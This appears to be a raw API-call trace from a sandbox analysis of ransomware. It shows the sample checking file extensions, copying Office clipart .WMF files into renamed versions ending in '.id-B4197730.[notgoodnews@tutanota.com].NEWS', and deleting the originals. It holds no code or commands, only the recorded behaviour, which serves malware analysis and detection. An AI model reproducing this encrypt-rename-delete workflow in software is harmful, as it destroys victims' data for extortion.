5 [0084.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.750] lstrlenW (lpString=".ppt") returned 4 [0084.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString=".zip") returned 4 [0084.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.750] lstrlenW (lpString=".rar") returned 4 [0084.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString=".bz2") returned 4 [0084.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString=".7z") returned 3 [0084.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString=".dbf") returned 4 [0084.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.751] lstrlenW (lpString=".1cd") returned 4 [0084.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.751] lstrlenW (lpString=".jpg") returned 4 [0084.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.751] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.751] lstrlenW (lpString="DD01183_.WMF") returned 12 [0084.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.751] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2296) returned 1 [0084.751] CloseHandle (hObject=0x378) returned 1 [0084.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0084.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.752] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.752] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.752] GetLastError () returned 0x0 [0084.752] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x8f8, lpOverlapped=0x0) returned 1 [0084.753] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x900, lpOverlapped=0x0) returned 1 [0084.754] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0084.755] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0084.755] SetEndOfFile (hFile=0x39c) returned 1 [0084.755] CloseHandle (hObject=0x39c) returned 1 [0084.755] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.755] SetEndOfFile (hFile=0x378) returned 1 [0084.756] CloseHandle (hObject=0x378) returned 1 [0084.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0084.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.756] lstrlenW (lpString=".doc") returned 4 [0084.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.756] lstrlenW (lpString=".docx") returned 5 [0084.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.756] lstrlenW (lpString=".pdf") returned 4 [0084.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.756] lstrlenW (lpString=".xls") returned 4 [0084.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.756] lstrlenW (lpString=".xlsx") returned 5 [0084.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.756] lstrlenW (lpString=".ppt") returned 4 [0084.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString=".zip") returned 4 [0084.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.757] lstrlenW (lpString=".rar") returned 4 [0084.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString=".bz2") returned 4 [0084.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString=".7z") returned 3 [0084.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString=".dbf") returned 4 [0084.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString=".1cd") returned 4 [0084.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString=".jpg") returned 4 [0084.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString=".doc") returned 4 [0084.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString=".docx") returned 5 [0084.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.757] lstrlenW (lpString=".pdf") returned 4 [0084.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString=".xls") returned 4 [0084.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.757] lstrlenW (lpString=".xlsx") returned 5 [0084.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.757] lstrlenW (lpString=".ppt") returned 4 [0084.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.757] lstrlenW (lpString=".zip") returned 4 [0084.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.758] lstrlenW (lpString=".rar") returned 4 [0084.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.758] lstrlenW (lpString=".bz2") returned 4 [0084.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.758] lstrlenW (lpString=".7z") returned 3 [0084.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.758] lstrlenW (lpString=".dbf") returned 4 [0084.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.758] lstrlenW (lpString=".1cd") returned 4 [0084.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0084.758] lstrlenW (lpString=".jpg") returned 4 [0084.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.758] lstrlenW (lpString="DD01186_.WMF") returned 12 [0084.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.758] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8564) returned 1 [0084.758] CloseHandle (hObject=0x378) returned 1 [0084.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0084.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.759] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.759] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.759] GetLastError () returned 0x0 [0084.759] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2174, lpOverlapped=0x0) returned 1 [0084.761] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2180, lpOverlapped=0x0) returned 1 [0084.762] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0084.762] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0084.762] SetEndOfFile (hFile=0x39c) returned 1 [0084.762] CloseHandle (hObject=0x39c) returned 1 [0084.762] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.762] SetEndOfFile (hFile=0x378) returned 1 [0084.763] CloseHandle (hObject=0x378) returned 1 [0084.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.764] lstrlenW (lpString=".doc") returned 4 [0084.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString=".docx") returned 5 [0084.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.764] lstrlenW (lpString=".pdf") returned 4 [0084.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString=".xls") returned 4 [0084.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.764] lstrlenW (lpString=".xlsx") returned 5 [0084.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.764] lstrlenW (lpString=".ppt") returned 4 [0084.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.764] lstrlenW (lpString=".zip") returned 4 [0084.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.764] lstrlenW (lpString=".rar") returned 4 [0084.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString=".bz2") returned 4 [0084.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString=".7z") returned 3 [0084.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.764] lstrlenW (lpString=".dbf") returned 4 [0084.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.764] lstrlenW (lpString=".1cd") returned 4 [0084.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.764] lstrlenW (lpString=".jpg") returned 4 [0084.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.765] lstrlenW (lpString=".doc") returned 4 [0084.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString=".docx") returned 5 [0084.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.765] lstrlenW (lpString=".pdf") returned 4 [0084.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString=".xls") returned 4 [0084.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.765] lstrlenW (lpString=".xlsx") returned 5 [0084.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.765] lstrlenW (lpString=".ppt") returned 4 [0084.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.765] lstrlenW (lpString=".zip") returned 4 [0084.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.765] lstrlenW (lpString=".rar") returned 4 [0084.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString=".bz2") returned 4 [0084.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString=".7z") returned 3 [0084.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.765] lstrlenW (lpString=".dbf") returned 4 [0084.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.765] lstrlenW (lpString=".1cd") returned 4 [0084.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0084.765] lstrlenW (lpString=".jpg") returned 4 [0084.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.766] lstrlenW (lpString="DD01366_.WMF") returned 12 [0084.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.766] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1768) returned 1 [0084.766] CloseHandle (hObject=0x378) returned 1 [0084.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0084.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.766] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.766] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.767] GetLastError () returned 0x0 [0084.767] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x6e8, lpOverlapped=0x0) returned 1 [0085.466] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x6f0, lpOverlapped=0x0) returned 1 [0085.467] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0085.467] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0085.467] SetEndOfFile (hFile=0x39c) returned 1 [0085.759] CloseHandle (hObject=0x39c) returned 1 [0085.759] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.759] SetEndOfFile (hFile=0x378) returned 1 [0085.760] CloseHandle (hObject=0x378) returned 1 [0085.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0085.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.761] lstrlenW (lpString=".doc") returned 4 [0085.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString=".docx") returned 5 [0085.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.761] lstrlenW (lpString=".pdf") returned 4 [0085.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString=".xls") returned 4 [0085.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.761] lstrlenW (lpString=".xlsx") returned 5 [0085.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.761] lstrlenW (lpString=".ppt") returned 4 [0085.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.761] lstrlenW (lpString=".zip") returned 4 [0085.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.761] lstrlenW (lpString=".rar") returned 4 [0085.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString=".bz2") returned 4 [0085.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString=".7z") returned 3 [0085.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.761] lstrlenW (lpString=".dbf") returned 4 [0085.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.761] lstrlenW (lpString=".1cd") returned 4 [0085.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.761] lstrlenW (lpString=".jpg") returned 4 [0085.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.762] lstrlenW (lpString=".doc") returned 4 [0085.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString=".docx") returned 5 [0085.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.762] lstrlenW (lpString=".pdf") returned 4 [0085.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString=".xls") returned 4 [0085.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.762] lstrlenW (lpString=".xlsx") returned 5 [0085.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.762] lstrlenW (lpString=".ppt") returned 4 [0085.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 